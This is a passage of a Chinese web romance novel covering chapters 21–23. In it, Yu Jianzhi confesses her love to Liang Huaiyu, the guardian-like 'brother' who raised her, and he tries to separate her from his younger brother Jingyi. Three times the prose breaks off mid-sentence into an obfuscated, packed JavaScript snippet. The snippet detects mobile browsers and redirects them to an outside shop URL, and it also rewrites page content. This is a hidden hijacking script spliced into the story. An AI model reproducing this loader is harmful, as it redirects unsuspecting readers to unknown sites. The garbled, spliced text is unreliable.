从前她喜欢他的手。修长的,笔直的,余简之喜欢梁怀聿伸手摸她的发顶,因为他会俯身,在这时,他好似离她更近。余简之也喜欢梁怀聿掐她的脸,她的脸颊肉肉的,他不会用太多力,她喜欢他温热的指腹贴上她冰凉的脸颊,她会眨也不眨地盯着他的手。 而此时此刻,这双手在擦拭她的眼泪。更轻,更柔,是与放在发丝上、捏在脸颊上,完全不同的触感。 她喜欢这样的触感。 “我没有生小简的气。” 他仔细擦掉最后一点湿意。 “过去几年是哥哥没有做好,以后不会了。” 梁怀聿继续说着,将用过的纸巾慢慢折好,握在掌心。 余简之红着眼,唤了一声“哥哥”。 “哥哥,”她吸了吸鼻子,声音哑得完全听不清,“我和景翊——” “简之。”梁怀聿打断她,声音不高,“你嗓子不舒服,不要再说了。” “你还年轻,有很多事可以慢慢想,慎重考虑。哥哥不是想干涉你的人生,是不希望小简做出将来会后悔的选择。” 余简之听着他的话,一句一句,像钉子狠狠钉进心里,钻心的痛。 不能让他再说下去了。 “哥哥!我选第二个!” 突然爆发的力气打断他,嗓子疼得像刀割,余简之顾不上这些,她沉了沉,脑袋直愣愣地发晕,像个不倒翁铅球。 她哑着嗓子重复:“那个雪夜,如果哥哥不说那些话,我也会向哥哥表达我的感情。现在我想选第二个,可以吗?” 她怔怔地盯着梁怀聿的神色,他整个人像是温度骤降被凝固的冰面,略微疑惑的,像是没有听清她的话。时间仿佛被拉长,走廊里传来很远的说话声,像是被风从遥远的地方吹来。 “简之,你……” 浮尘在月色下游动,从她们之间缓缓弥漫。 喉咙的疼痛后知后觉地袭来,慢慢悠悠吞吞,几乎将她的五脏六腑全部灼烧。 “我已经长大了。可不可以不要把我当小孩了?哥哥曾经也把我视作女人,不是吗?继续把我看作女人吧……为什么现在又要用对待孩子的方式将我包裹?” “你不要再说了。” 梁怀聿的声音落下,像一块沉冰坠入黑暗的深潭。 余简之的睫毛颤抖,那些浮尘还在光里旋转。 然后她看见,梁怀聿像是再也无法承受她目光的重量,几乎仓促地别开了脸,再也没有视线落在她的脸上。 “小简你忘了那些吧。” 余简之张着嘴,无声地回答他,可他低着头,看不见她的唇语。她急得发出一点气音,像黏人的幼猫,半起身去捉他的手腕。 梁怀聿忍着没有甩开,回身看着她,余简之手指发着抖,指着自己的嘴唇,她的小脸皱着,其实她不止撒谎时爱皱眉。 很慢很慢地,一个字一个字从她的嘴唇里泄出来: 哥哥已经忘了我吗?没有一点喜欢我吗? 我喜欢你。 余简之的手还搭在他的腕上,滚烫,发抖,她仰着脸,但是说这些话时,眼泪不肯往下掉,她一定不要用眼泪代替她的话语。 梁怀聿的呼吸停歇了。他没有立刻抽手,也没有回应,只是任由她抓着,这片刻的接触是他能给予的最后的僭越。 她的手太烫,烫得他心口发紧。梁怀聿猛然惊醒,托住她的肘弯,将她放回桌上。 “你太固执了,余简之,你会吃亏的。”他叫她的全名,痛惜与愤怒交织。 还要怎样吃亏?她吃的亏还不够多吗? 她张着嘴,想说的太多—— 对不起,我不该不和你商量,就去美国。哥哥,你原谅我,好不好? 他甩开她攀来的双手。 “是我的错,不是简之的错。” 余简之气声哀哀地恳求,不要,不要,不要离开我好不好? 别不要我,好不好? - 第二天午休,余简之再次来到文容的办公室,一边打点滴一边吃午饭。她一边吃,一边偷偷往外瞄了好几眼。 昨晚她几乎算是被赶出了办公室,梁怀聿用无言强硬地终止了对话,强行让司机送她回家。 此刻她既想再见梁怀聿,又害怕他的出现。 文容坐在对面,饶有兴致地看着她。 嗓子好了不少,至少发得出声音,余简之被他盯得耳根发热,故意凶巴巴地回怼:“干嘛!文容哥这是什么眼神!” “你长大了,很漂亮,”文容依旧笑着,言简意赅地肯定,“难怪景翊会喜欢你。” 他转身从书柜里取出一个绒面的相册,轻轻放到她手边:“喏,你瞧瞧,这是前两天我和你哥哥整理的照片。” 余简之疑惑翻开,只几页,立刻就不好意思地合上。 相册第一页,是八岁的她,尺码合乎身高的棉袄,在她身上依然宽宽大大,脸颊通红,眼神怯生生却又明亮,正仰头看着镜头外的某个人。下一页,是十岁的她,穿着干净的格子裙,坐在窗边看书,阳光洒在柔软的发顶。 再往后翻,十二岁、十五岁、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269869|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十八岁……每一段年月的她,都被镜头悄然定格。有些时刻她甚至不知道自己被拍下了。照片里的背景在变,她的模样在变,唯独那份被镜头温柔凝视的感觉,贯穿始终。 眼泪已经在转悠,她抬手揩了揩,用言语慌乱地掩饰:“你们……整这么煽情干嘛!” 文容没有笑,也没有安慰。他只是安静地看着她。 很多年前,她还是个瘦小的、不太会说话的小豆芽。如今已是亭亭玉立、聪明优秀的少女。 “看到你长这么大,开心,也难过。开心的是,当年那个瘦瘦小小的小女孩,真的好好长大了。你是上天送给我们的礼物,出落得这么优秀。难过的是,时间走得那么快,不知不觉,我们和你的距离就拉远了。” “小简,这个世界上,人与人之间的距离是很远的,远到有时一个转身,就是陌路,但有时候,它又极其近,近到只需要一句话,两个人的距离就会被无限拉近。我们这一生,能与一个人建立深刻的联结,是一件非常困难的事。能十几年如一日地把另一个人放在心上,更难。小简是一个重情重义的人,哥哥知道。怀聿他性子……有些事,他可能确实做错了,要他低头承认,很难。可是小简,有些架吵赢了,道理争明白了,然后呢?除了嘴上那点短暂的痛快,又能得到什么呢?哥哥希望你能低头找他和好,好吗?” 余简之喝了口热汤,温烫的,从喉咙一路烫到心口,又暖又涩。 看来昨晚她是故意被留在他的办公室了,文容给予他们一个和好的契机,却想不到和好的唯一途径只能是…… 她放下碗:“文容哥哥,你根本不知道我们……” “不管发生什么,我们都是一家人。有什么事情,是不可以一家人坐下来,心平气和,好好说说的呢?怀聿哥哥绝对没有真的责怪你的意思,只要你微微低头,这件事就这么过去了,他不可能不疼你。” 文容沉沉地叹了口气,“接下来的话,你听着可能不太舒服。小简,我们老了。这一架,你们吵了多久了?四五年有了吧?从你去美国开始,这根刺就扎下了。转眼你大学毕业,硕士也毕业了,开始工作了……低低头,为了他,为了你自己,把时间浪费在争吵与不愉快上,不值得。把这事翻过去,往前看,好吗?” 余简之蜷紧了手指:“文容哥,我讨厌被冤枉,所以我今天必须要把话说出来告诉你,所有的结局不是我一个人造成的,就算我有错,那也得往上追溯到我无父无母惹得你们怜爱。” “我知道,我知道。”她这话说得吓人,文容急忙安抚,语气不自觉带上恳求,“如果是小简的问题。小简会低头认错,问题是你们能不能不要纠结这些了?不是非得把每件事揉开说清楚,你放下心结,怀聿不可能不亲近你不照顾你,你也能轻松,不是吗?” “不是我低低头就可以回到从前了!”她猛地提高了音量,嗓子疼得要命,她不得不停下来,一阵咳嗽后才继续接上愤怒,“你一直问我劝我,那文容哥你能不能问下哥哥,他还想不想当我哥哥呢?连文容哥都愿意隔三差五来美国探望我,哥哥有没有来过一次呢?那好,是我自作多情,我记得文容哥说过吧?不想和被资助的孩子产生太深的链接,我曾经以为我是例外,那这样看,其实我也是其中之一咯?” 她猛地别过脸去,下颌线绷紧,眼泪来得又急又凶,根本拦不住,她却倔强地不肯发出一点声音。 文容吓坏了,立刻否认: “不是的简之,你在我和怀聿心里,从来是不一样的,我们都拿你当亲妹妹看待。你认为我在逼你,可是这些年我哪里没有劝过怀聿呢?计较得失没有任何意义,梁怀聿从来没有不关心你,他嘴硬心软罢了,否则我何苦跑到美国那么多次呢?” 余简之哭着说:“你后来还不是没有来了!” 文容沉默了,别脸不忍看她泪流满面的样子。 “……是梁怀聿让我不要再去了。” “那你现在问我?” “我本来以为我们的缘分,可能就那样结束了。可那么巧你又回来了,又遇见了,既然上天给了第二次机会,我们为什么还要亲手斩断兄妹情谊?小简,我们都很想你,都很舍不得你。” “上天给的机会?哥哥,是我自己要回国的。” “小简……” 余简之握紧勺子,机械地一口一口用食物将自己的嘴塞满,咀嚼让她觉得痛苦。她强逼自己冷静下来,又顺了顺气,一连串说了一大口:“对不起哥哥,刚刚是我太冲动了,我不该说那些话伤你们的心。” 看见文容眼里的心疼与惊慌,眼泪不知不觉又蓄满,她的眼睛像是水库,永远有水在流动。 文容在帮她,他一直是那个飞来美国看她的人,他什么都没做错。 她把气撒在了最不该撒的人身上。 脸埋进手心,她哭着道歉: “……你们对我已经很好很好了,是我太任性,是我……是我,是我。对不起。” 21. 大寒 余简之带走了那本相册。 她嗓子还没好利索,余平安也没可怜她,自顾自地煮了好大一锅红油热辣的火锅,一个人享受。余简之吃了点清汤煮的。 “恭喜平安又有新收入!迟早在北京扎根,财源广进发大财!” 余简之举起水杯,碰了碰平安的酒杯,叮嘱她:“你不要喝多哦,我还是病人,可没法照顾醉鬼。” 余平安偏头,亲昵地在她肩头蹭蹭:“我酒量你放心好不好。” 病没好全,余简之没什么胃口,吃了点就放下筷子。她看着余平安大快朵颐的样子发了会呆,然后翻开了膝头的相册。她刻意跳过那些有梁怀聿的页面,只挑出自己和余平安的合照。 余平安只来北京来过两次,而她年年都来。因此,当余平安说,她得到的永远更多时,余简之无法反驳。 她用手肘轻轻碰了碰身旁的人,“平安,你看这张。” 余平安淡淡扫一眼,手夹着筷子,翻到下一页,露出她和梁怀聿的合照。 余简之的脸腾地红了:“拜托……” “所以要听文容哥的吗?去和好?” 余简之摇摇头:“我做不到只把他当哥哥。也许……当初他给我的选择是正确的,要么更进一步,要么永不相见。” 她说起今天她离开文容的办公室,她和梁怀聿在走廊遇见。 余简之假装没看见,一个劲地往前走,梁怀聿跟上她,目光落在她手里的相册上。 “好点了?”他问,声音是一如既往的温和。 终究做不到彻底无视,她答得规矩而疏离:“好多了,谢谢哥哥。” 然后,便擦肩而过。 “不然呢?”余平安反问她,“你还想怎样?” 余简之低声咕哝:“我讨厌他的眼神。” 多了份愧疚,多了份思量,少了份爱怜。 “毛病。”余平安评价道。 进入一月中旬,余平安收入翻了番——寒假到了。 她讲课认真,口碑在学生家长间传开。因第一位介绍人便是家境优渥的家长,后来找上门的雇主也多是经济宽裕的家庭,开出的时薪颇为可观。折算下来,月收入已达到了余平安曾经梦寐以求的数字。 余简之对着计算器噼里啪啦算了一通,哀叹:“啊!我现在转行做家教还来得及吗?” 人总是得寸进尺,余平安叹气:“可是你的工作有六险一金。” 余简之啧啧:“你这就是鼠目寸光了,自己当老板,自己给自己交,不是更爽?” “灵活就业很贵的哎。” “我是说,将来你可以自己开个培训机构呀?做大做强?” “想得太美了!” “人总要有目标嘛!” 有钱人照样鸡娃,甚至有除夕前晚还要上课的可怜小学生,最早一节的则安排在初五。身为打工人可说不出指责的话,毕竟这是余平安的金主妈咪。 余简之问:“那咱们还回去过年么?” 余平安犹豫片刻,随即下定决心:“不了。”来回机票不菲,老家交通也不便,何况她来北京没多久。 余简之本来不想劝她,这个决定随便她做就好,想了想还是劝着说:“不行,我得回去一趟。我都多久没回去啦,得去看看叔叔阿姨才行。” “好吧,也对。但是没必要凑春节这个热闹,晚点回去?”余平安怕她不答应,劝道,“只要我们一家人在一起,就是过年。” 余简之点点头。 “对了……”余平安欲言又止,在余简之疑惑的目光中还是说出来了,“简之,你以前过年不是都会和怀聿哥一起吗?今年呢?” 余简之觉得好笑:“我现在怎么和他一起?” 话出口,她自己先沉默下来,伸手抱住余平安的胳膊,怔怔地发起呆,不一会儿,眼泪无声地滑落。 “早知道我不该那么冲动……我不该说那些的,现在好,妹妹也做不成了。” 梁怀聿再未踏足过营销部。她,连带整个项目小组,都像是被公司抛弃。连林芝韵都在群里抱怨过一句,公司对这个项目越来越不上心了。 来不及对同事内疚,余简之对自己的懊恼就已满溢。 余简之叹着气,揉了揉脸颊:“生病真的会降低阈值。至少我的羞耻心被削弱了。” “有什么不好?”面对别人的事情,大多数人都是乐观派,比如此刻的余平安,“迟早要说清楚的。你难道甘愿一辈子当他妹妹?” “当他妹妹或永不相见,”余简之苦笑,“哥哥好似只给了我这两个选择。” 永不相见,永远比她想象中艰难百倍。 余平安轻轻敲了敲她的额头:“你又不是非听他的不可,我就不信你打算听他的。” 余简之摇了摇头:“以后再说吧。” 虽然是两个人过年,但该有的年味不能少,两人趁着离春节还有段时间,周末去超市采购。 凑巧碰上梁景翊,年底工作忙,余简之与他很久没联系。梁景翊拿着一袋手指饼干袋,戳了戳余简之的鼻尖,隔着白色口罩。 “干嘛戴个口罩?颜值都被封印了。” “因为我有良心,不想传染给你们。” “感冒了?” “嗯。”感冒已经好了,却落了点后遗症,吸了冷空气就有点咳嗽,她只好全天戴着口罩。 “那得注意,彻底入冬了,你穿厚点呀。” 余简之“哦”了一声。 “过几天谦南回国,有个聚会,你来吗?” 李谦南是梁景翊的朋友,在美国时余简之和他们一起玩过几次。 “不。”余简之拒绝得干脆,虽然她不讨厌梁景翊的朋友们,但她认为见他朋友,是女友该做的事,现在她不是了,没这个必要。 梁景翊立刻说:“悠米也来哦。” 余简之心下一动。她和李谦南的交往是建立在他是梁景翊的朋友之上,而她和悠米的交往并不是。 “她回国啦?” “回来过年呀。笨。所以来吗?” 余简之故作矜持:“我考虑一下。” 梁景翊微笑看向余平安:“姐姐也可以来哦。” 余平安拒绝同样干脆:“我不去。” 与梁景翊分别后,余平安劝她:“你去玩呗,在家闷多久啦,去散散心。” 不久,梁景翊电话追来:“来不来?快决定好。” 余简之眨眨眼:“我已经跟悠米说了我要去呀。”她担心梁景翊诓她,直接绕过他联系了悠米,确定悠米会去后,她立刻决定要参加。 “哎呀,余简之,你现在好不要脸啊!”梁景翊在电话那头叫起来。 余简之在电话这头笑得开怀。 梁景翊感觉被将了一军,听着她的笑声更觉如此,又气不过地“骂”了几句,才挂断电话。 放下手机,他忽然感觉背后有点凉。缓缓侧过头,梁怀聿站在贴近客厅的走廊,静静地看着他,不知多久。 两人视线对上,梁怀聿开口道:“来下书房。”随后他撤身上楼。 梁景翊心下一惊,他刚刚叫了好多声余简之的名字,哥哥必定听见。 当初父母去世后,偌大的房子对兄弟俩来说太空旷,满满的回忆又将生活空间迫满,梁怀聿很快带着弟弟搬了家,但两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282735|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人隔三差五还是会来老宅居住。 一来房子隔段时间不住,就会老旧,二来梁怀聿也希望能和弟弟保持着健康的联系。这段时间,刚巧是他们同住这边的时候。 梁景翊放下手机,小跑上楼:“哥?” 书房门开着,梁景翊进去看见梁怀聿背对着他站在窗前,即便梁怀聿看不见,梁景翊依然狗腿地堆出笑脸,因为从小到大他时常在书房被哥哥教训。 书房等于挨骂,梁景翊心里有这么一个等式。 不过,挨骂归挨骂,哥哥很少真正动怒。作为一位年轻的监护人,他并不古板,甚至相当开明,再加上那么点不易察觉的弟控倾向,梁景翊从小可以说完全是被溺爱长大的,只要他完成了哥哥安排的任务,其余的事只要不违法乱纪,皆可以随心所欲。 “和余简之没有分手吗?” “啊?” 梁景翊没想到会是这个问题。 “啊什么?” “啊?没啊什么……呃哥你怎么还想着这件事啊?” “我早前说过,希望你们分手。所以,是没分?” 可以见风使舵说“我们已经分手了”,可梁景翊并不想就这么结束争吵。否则未来还会有无休止的争吵。 他喜欢余简之,尽管上次他求和被拒,可身为天之骄子的他,内心始终认为结局会如他所愿。 “哥,你到底是对简之哪里不满意?我还是不懂。家庭?学历?外貌?性格?简之可能只有家境不算优越……可我们家足够有钱了,我不觉得这构成问题。” 梁景翊罕见地认真起来,语气诚恳,“哥哥,我是真的很爱余简之,和之前那些不一样。哥你到底在意的是哪些呢?我想知道我能不能改变。” 梁怀聿旋过身看他,确定弟弟脸上是与话语相匹配的认真神情。 但他还是有些不愿相信地说:“你再说一遍。” 梁景翊咬了咬牙,认真且郑重地重复:“我是真的喜欢余简之!” 梁怀聿默了片刻,在梁景翊准备再次开口前,他抬手止住,微微地叹了口气。 “那她呢?” 梁景翊愣了一瞬,有些尴尬地笑:“哈……简之当然对我也是一样啊。” 怎会不了解自己的亲弟弟,梁怀聿看着他的笑容,撒谎时惯以用来掩盖心慌。 他没有深究这个回答,转而问:“你们最近感情还好吧?” 不明白这个话题怎么会绕到这个上面,梁景翊更不明白对他感情不甚在意的哥哥这次怎么会突然这么关心。 他挠挠头:“挺好呀。哎呀,刚刚电话那些都是开玩笑啦,真正的恋人都是开得起玩笑的。” 梁怀聿没再说什么,只是说:“梁景翊,你有钱,生活对你而言很简单,选择很多,不必将就。” 梁景翊赶紧表态:“没将就,我真的很喜欢她。” 你喜欢她,但她不喜欢你。这句话卡在喉咙里,上不去,下不来,最终化为不置可否,“前阵子去美国了?” 话题陡然一转,梁景翊“啊”了一声才答:“对。” 元旦后他去了趟美国,见朋友。 “喜欢那边的生活吗?如果将来考虑定居美国,你愿意吗?” “怎么突然问这个?” 之前梁景翊有过这些想法,但是梁怀聿态度强硬,希望他留在国内,待在身边,图个安心。 梁怀聿沉吟道:“你长大了,该有自己的选择。如果你喜欢那里的环境,可以考虑过去分公司历练几年。” 他停顿了一下,像是经过思量,才用平静的语气补充道: “……如果简之愿意,也可以一起安排。” 22. 大寒 梁景翊最近没考虑过这些,先顺着他意答:“哥哥,我知道了,我会好好考虑的。” 梁怀聿默着,没接他的话,又转回身,正对着窗,静静看着窗下。梁景翊上前一步来到梁怀聿身边,同哥哥一起看着院子里的花花草草。 奇怪,这有什么可看的。 几分钟后,梁怀聿回到桌边,梁景翊看着他拿起便签写了字,撕下递来。梁景翊接过,发现上面是一串电话号码,他问:“谁的号码?” “你舅舅的,”梁怀聿解释得简短,“他生病了。最后几面,你想去看就去看看吧。” 梁怀聿用了“你”这个词,梁景翊明白过来,是指他亲生母亲的弟弟,只能算是他的舅舅,和梁怀聿没有关系。虽然十多年没见,上次见面还是他十岁那年,但梁景翊对这位舅舅的印象很深刻,传说中的吸姐鬼,要是把他投稿到戒社,绝对是最炸裂最遭人骂的一个。 舅舅每次来家里,除了要钱就是帮他还债。母亲性格软弱,刚好父亲有的是钱,舅舅一哭二闹三上吊,哪能狠心不给。好在后来父亲给舅舅在公司安排了职位,从中层慢慢往上升,赌瘾慢慢没了,被官瘾替代了。 不仅如此,舅舅一家老小几乎全被塞进了公司。 梁景翊还记得小时候妈妈常在爸面前夸舅舅,说他洗心革面改过自新了,也是希望爸爸能在工作中多照顾他多给他机会。 父母去世后,梁怀聿果断地替他断了这没用的舅侄关系,舅舅一家也被赶出了公司,那时梁景翊还小,对亲缘关系没有太多感受,断了也就断了。 当下,梁怀聿又将舅舅的消息带给他,竟是他快要死的消息,梁景翊一时惘然。 “什么病啊?晚期?绝症?” “肠癌。”梁怀聿惜字如金,很显然,他不想多提起舅舅的事。 梁景翊最会察言观色,原还想问他这几天出差是不是就是去见舅舅了,不问了,问他还有没有别的事要说,得到没有的回答后,他赶紧溜之大吉。 站在楼梯口,梁景翊抬手看了看掌心里的便签。他发了会呆,塞进口袋,又拿出来拍了张照,这才重新放回口袋。 书房里,梁怀聿静静地看着弟弟离去,直至消失,他收回目光,在看见书桌上的相框时顿住。 严格来说,这是父亲的书房,即便他离世十余年,梁怀聿依然认为它属于父亲,而不是他。 他几乎没有动过书房里的任何一物。比如这个相框,是父亲挑选的,照片也是。是一家四口的合照,父亲、他、梁景翊,……梁景翊的母亲。梁怀聿叫她阿姨。 梁怀聿端起相框。 右下角有日期,那年他十六岁,极度讨厌六岁的弟弟、年轻温柔的阿姨,更讨厌装模作样的父亲。但是在照片里,他们是亲密无间的一家人。 那件事过后,他很厌恶美国。尽管从前在美国留学多年,但在那之后,他将美国列入非必要再也不去的禁地。他认为美国是危险的国度,而发生在他身边的事情,也恰恰证明了这一点。 梁怀聿知道自己病了。 这样强烈的症状,在梁景翊进入大学后逐渐消解。美国拥有全球最密集的顶尖大学,在各大领域遥遥领先,而梁景翊有意向的学校也在美国。他不能阻拦弟弟探索世界,就像公司有国际化扩张,分公司来到了美国,全球资本集中在美国股市。 将余简之和梁景翊送到美国。 他突然觉得他疯了,因为他竟然会起这样的念头,可当他听见梁景翊说“真的很爱余简之”后,它立刻冒了出来,在脑海里疯狂盘旋。 ……兄弟阋墙的结局,他不想要。在国内每日每夜看着余简之和梁景翊亲密无间,他也做不到。 ——送走就好。都送走。 他看不见的地方,他们想怎么样都可以。 - 聚会前夜,网上在铺天盖地讨论北京的初雪,其中夹杂着几条五年来最大的雪。 “怎么是初雪呢?”余简之疑惑,“圣诞那天不是下了雪吗?” “那个太小啦,网上都抱怨跟雨没什么区别啦。这次才是真的下雪。”余平安说。 第二天起来,余简之在窗边望去,晚上似乎已经下过一场雪,树叶上挂着薄雪,路面上的几乎化全。 梁景翊主动打电话说来接她,看这天气,余简之不得不答应。 聚会地点在李谦南的别墅,余简之和梁景翊一前一后地进了屋,悠米立刻招手:“小简!这里!” 她的膝上卧着一只小马尔济斯,别着发卡,余简之尖叫一声跑过去:“好可爱!” 梁景翊眼睁睁看着余简之从他的身旁离去,蹦蹦跳跳地去往别人面前。李谦南过来,手臂搭在他肩上:“这你不给她买只猫儿狗儿的?” 梁景翊“嗐”了一声,甩开他的手臂。 他的目光不由自主地追过去,余简之蹲在地上,把脸埋进那只小白狗的绒毛里,笑得眼睛弯成两道月牙。 “赶紧买呀,”李谦南顺着他的视线望过去,又赚回来,似笑非笑地盯着他,“你到底会不会追女孩子啊?就你这样,三年五载都追不回来,要被人捷足先登了。” 梁景翊“啧”了一声,低头踢了踢地毯的边缘:“我怎么追的,还要三天两头跟你汇报是不是?” 余简之专心致志地rua着小白,梁景翊和李谦南他们在一块,时刻关注着她这边的动静,时不时过来送点好吃的给她。 悠米对他的献殷勤行为很看不惯:“你俩复合了?” “没。怎么了?” “没复合他凑过来干嘛?挡住你桃花了。”悠米说她恨不得拿个喇叭大喊“我们小简之是单身哦快来搭讪吧!” 余简之汗颜:“Stop。” 晚上七点,余简之打算回去,她将枕在她膝上睡觉的小白还给悠米。悠米不舍挽留:“年纪大了?不能通宵了?我的帅哥朋友得凌晨才能来!” “年纪不大,能通宵,但我明天要上班。” 身为天龙人的悠米同情地看着她:“好吧。我让司机送你回去吧。”这儿荒郊野岭,打车不方便。 梁景翊不知从哪钻出来:“简之,我送你。”见悠米要替她拒绝,他连忙说:“我也打算回去了,我哥在家,通宵的话他会骂死我。走,咱俩顺路。” 余简之没了拒绝的理由,朝着悠米挥挥手,又舍不得地扑来亲了亲小白。 “香香小狗!拜拜以后见!” 小白好似听懂了,用爪子扒了扒她,余简之忍着低头继续亲它的冲动。 出了屋,才发现落雪了,只是雪不大。 她将手从口袋拿出来,朝着天空展开,雪花如同钻石落在掌心,她收紧,牢牢握住。坚固的雪很快融化,柔情地在手中流逝。 司机已将车泊到路边。梁景翊喝了酒,不能开车,与她同坐后排。不一会儿,雪便落大了,余简之孩子般地“哇”了一声,旋即按下车窗,趴在窗上,嘴中呼出白气,在车外瞬间消散。 梁景翊忍着寒冷叮咛:“不要把手伸出去哦——” 被梁景翊这种人教训实在是件不爽的事,余简之有些故意地伸出手,很快收回,因为梁景翊问她:“这个雪和纽约的相比,真是不美。喂,简之,你还记不记得我们年初在中央公园?” 雪后的中央公园很美,完全担得上银装素裹这个词,太美了。 余简之说:“记得啊。” “今年冬天我们再回纽约看看吧。” 余简之有些诧异:“你请我吗?” “机酒吗?当然。” “我才不去。”余简之瞬间无精打采,“年假根本没有多少天。我有自己的安排。” “……好吧。好像工作对你来说更重要。” 余简之纠正:“不是工作对我更重要,而是我的生活比起你的生活,对我来说更重要。” 梁景翊又“好吧”一声。 车拐了个弯,余简之说:“走错了吧?这不是去我家的路。” “先回我家,好吗?我有东西想送给你。”梁景翊瞥一眼她的神色,声音不大弱弱补充,“新年礼物。你一定会喜欢的。把礼物给你,你就可以回家了。好吗?” 这下轮到余简之说“好吧”。 车辆在院子里停下。老宅没有变化,还是同上次一样,黑漆漆看着无人居住,只是院里开了些梅花,余简之瞧见立刻感觉鼻子有点痒,还好戴了口罩。 梁景翊请她回屋坐,他回房间取东西,余简之摇摇头:“我在院子里等吧。” 此刻雪虽然挺大,但没下太久,地上几乎没留下什么痕迹,只有梅花的疏影与嶙峋的枯枝上,薄薄地挂了一层莹白。 余简之踮起脚尖,伸手去拂那枝头的雪,雪花与几瓣红梅同时簌簌落下,恰好缀在她的口罩上。凉意透进来,她忍不住打了个喷嚏。 接着,又是一个。 她揉了揉发痒的鼻尖,睁开微湿的眼睛。视野里的雪色忽然变了——不再是清冽的纯白,也非阴天的灰白,而是晕开了一层暖融融的、蜜一样的淡黄,像黄昏的余晖温柔地浸染了雪絮。 这太奇怪了,黄昏怎么会和雪天同时出现呢? 余简之愣了一秒,才想到是因为院子里的灯被打开了。 就在近旁那株老梅较低的枝桠上,一截断枝的剖面凝结了一层薄薄的冰壳,映出她身后的景象:庭院的石径,漫洒的灯光,以及…… 静静站立的身影。 模糊的小小的身影,只能辨出是深色系,而今天梁景翊穿着白色的羽绒服。 余简之猛然回过头,昏黄的灯光将她面前的梅枝与积雪都镀上了一层柔软的暖色,也在她的脚边拉出两道长长的、模糊的影子。 他的,和她的,明明隔着距离,影子却亲密无间地相依。 余简之张了张嘴,喉咙里那声“哥哥” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁怀聿也看了一眼,但选择了无视。余简之咬咬唇,跟着他走进去。 房间里的壁炉打开了,火光映在她的脸上,很暖和。他站在她身前,没有走近,也没有离开,目光落在她脸上,没有移开过。 两人无言地站了片刻,彼此对视的双眼在壁炉的火光里明明灭灭。 余简之率先低下头,依然能感觉到目光。不多时梁怀聿转身离开,余简之松了口气,又听见他的声音从隔壁传来:“小简,你过来。” 隔壁房间算是一个小会客室,也是与院子相连,但是有窗帘,梁怀聿打开灯,拉上窗帘,遮掩住屋外的夜色。 余简之停在门口,没有再往里走。楼上传来一声轻响,不知是脚步声还是关门声,她下意识抬起头。 梁怀聿走到她身后,将门关上,与外面完全隔绝。 壁炉里传来木柴噼啪的轻响。余简之有些出神,抬头盯着他,不明白他叫自己进来究竟是为了什么。 梁怀聿依然扶着门,这样静默地看了她一会。 也许没有过去多久,她却觉得脚下的时间像是被搅乱又重组,每一秒都被拉得迟缓而沉重。 然后她听见他说:“简之喜不喜欢美国呢?如果未来留在美国,你愿意吗?” 这句话像是一株带刺的仙人掌,被梁怀聿握在手中,狠狠在她心上碾过。 碾一次不够,是反反复复地碾,当她在脑海里诵读他冷酷的话语时。 “我不喜欢美国!我不愿意。” 余简之不明白梁怀聿为什么要问她这个问题。难道她不喜欢美国,这不是显而易见的吗? 梁怀聿沉吟片刻,余简之感受到这片刻的停顿,不是因为他在思索要说什么,而是在犹豫该不该说下去。 空气静默了几秒,木柴燃烧不断发出噼里啪啦声。 “如果景翊去美国呢?你跟不跟他走?” 余简之惊讶地睁大眼睛,因为没想到他会提到完全不在场的一个人。 “到底关景翊什么事?” “景翊喜欢你,他未来大概率会去美国。” 余简之摘下手套,攥在手里。 “你不了解我?我不可能会随他去!” “那就不去好了。”他自顾自地改了话语,余简之恼怒不已,怎么就这样让她听他的安排?她是棋子吗,他想怎么下就怎么下? 她抬起眼眸,恼怒地看向他,可后者没有看她, “……如果这样,我还是希望简之和景翊分手。” 梁怀聿的声音冷而硬,像是被搓得又紧又硬的雪球,砸在身上一定会疼得大哭。 余简之忽然就恼了。 她上前一步,把手套往椅背上一甩,昂起头,生气时说出的话往往不经过思考: “请问你这句话,是以梁景翊哥哥的身份说的,还是余简之的哥哥?” “梁怀聿。” 回答几乎脱口而出,补充却花了时间, “……是我,我不希望你们在一起。” 23. 大寒 听到这句话,余简之眼眶泛红。她摘下帽子,又扯下围巾,抖落一地的雪,在温暖的房间,很快化作水融入地板。 “所以,如果我去美国,就可以不分手?是这个意思吗?” 梁怀聿默了默,“我不是这个意思。” “那是什么意思?” 楼上传来哒哒哒下楼的动静,余简之已经顾不上那么多,恼怒地质问: “你不是已经替我们——至少是替我安排好了一切吗?就像四年前一样。我只能听你的,而你,也理所当然地认为我会听你的,对吗?” “上次简之说的话,我有听进去。”他缓缓道,在艰难地组织语言,“之后任何一件事情我不会再插手。唯独这件事……” “唯独什么?” “小简,我只希望在这件事上,你能听我的话。” “理由?”余简之觉得不可理喻。 理由就堵在彼此的呼吸之间,显而易见,无法忽视。 归根结底只有一个——他爱的女人,是他弟弟的女友。若论时间与牵绊,他似是先来的那一个,可此刻,他是后来者。 这个理由无法宣之于口,因为此刻、此地、此身,她是他的妹妹。哥哥,是不能爱上妹妹的。 他的沉默像无形的潮水,漫上来,淹没她的口鼻。她感到一阵荒谬的窒息,自己几乎要被溺毙: 